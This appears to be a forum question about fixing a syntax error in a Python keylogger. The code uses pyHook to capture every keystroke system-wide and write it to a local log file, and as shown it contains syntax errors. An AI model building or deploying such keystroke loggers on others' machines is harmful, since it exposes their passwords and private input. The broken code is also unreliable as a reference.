title: What is wrong with the chr in this code?
body: <p>Hey does anyone know what it is wrong with the <code>chr</code> in this code, the first <code>chr</code> (<code>chr(event.Ascii):</code>). it just returns with a syntax error. I am writing a keylogger using pyHook. Thanks in advance.</p>
  
  <pre><code>import pyHook, pythoncom, sys, logging
  
  file_log = 'C:\\Python\\log.txt'
  
  def OnKeyboardEvent (event):
      logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)'
      chr(event.Ascii):
      logging.log(10, chr(event.Ascii))
      return True
  
  hooks_manager = pyHook.HookManager()
  hooks_manager.KeyDown = OnKeyboardEvent
  hooks_manager.HookKeyboard()
  pythoncom.PumpMessages()
  </code></pre>